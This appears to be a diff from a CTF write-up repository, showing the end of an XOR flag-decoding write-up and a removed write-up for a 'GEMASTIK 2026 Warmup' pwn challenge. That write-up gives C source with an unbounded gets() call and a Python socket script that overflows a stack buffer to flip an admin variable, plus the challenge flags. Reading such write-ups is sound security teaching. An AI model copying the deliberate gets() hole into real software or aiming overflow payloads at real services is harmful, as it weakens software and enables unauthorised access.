enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
|
|
||||||
0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
|
|
||||||
0x25, 0x23, 0x2b, 0x2c, 0x3f]
|
|
||||||
|
|
||||||
flag = "".join(chr(b ^ 0x42) for b in enc)
|
|
||||||
print(flag)
|
|
||||||
# GEMASTIK19{x0r_it_back_4gain}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{x0r_it_back_4gain}`
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Are You Admin? — Buffer Overflow"
|
|
||||||
type: "writeup"
|
|
||||||
section: "writeups"
|
|
||||||
status: "published"
|
|
||||||
author: "asep"
|
|
||||||
tags: ["gemastik", "ctf", "warmup", "pwn"]
|
|
||||||
path: "writeups/gemastik-2026-warmup/ch9-are-you-admin.md"
|
|
||||||
created_at: "2026-08-21T07:25:39.978Z"
|
|
||||||
updated_at: "2026-08-21T07:25:39.978Z"
|
|
||||||
event: "GEMASTIK 2026 Warmup"
|
|
||||||
challenge: "Are You Admin? — Buffer Overflow"
|
|
||||||
category: "pwn"
|
|
||||||
points: 500
|
|
||||||
difficulty: "easy"
|
|
||||||
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
|
|
||||||
---
|
|
||||||
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
|
|
||||||
|
|
||||||
**Server:** `nc 15.232.89.109 9001`
|
|
||||||
|
|
||||||
**Source (`chall.c`):**
|
|
||||||
|
|
||||||
```c
|
|
||||||
volatile int admin = 0;
|
|
||||||
char name[16];
|
|
||||||
gets(name); // <-- overflow, no bounds check
|
|
||||||
if (admin != 0) { /* print flag */ }
|
|
||||||
```
|
|
||||||
|
|
||||||
## Eksploitasi
|
|
||||||
|
|
||||||
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
|
|
||||||
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
|
|
||||||
|
|
||||||
```python
|
|
||||||
import socket, time
|
|
||||||
|
|
||||||
s = socket.socket()
|
|
||||||
s.connect(("15.232.89.109", 9001))
|
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
|
|
||||||
payload = b"A" * 20 + b"\xff\xff\xff\xff"
|
|
||||||
s.sendall(payload + b"\n")
|
|
||||||
time.sleep(1.2)
|
|
||||||
print(s.recv(4096).decode())
|
|
||||||
# -> GEMASTIK19{0v3rfl0w_ubah_var}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
`GEMASTIK19{0v3rfl0w_ubah_var}`
|
|
||||||
Reference in New Issue
Block a user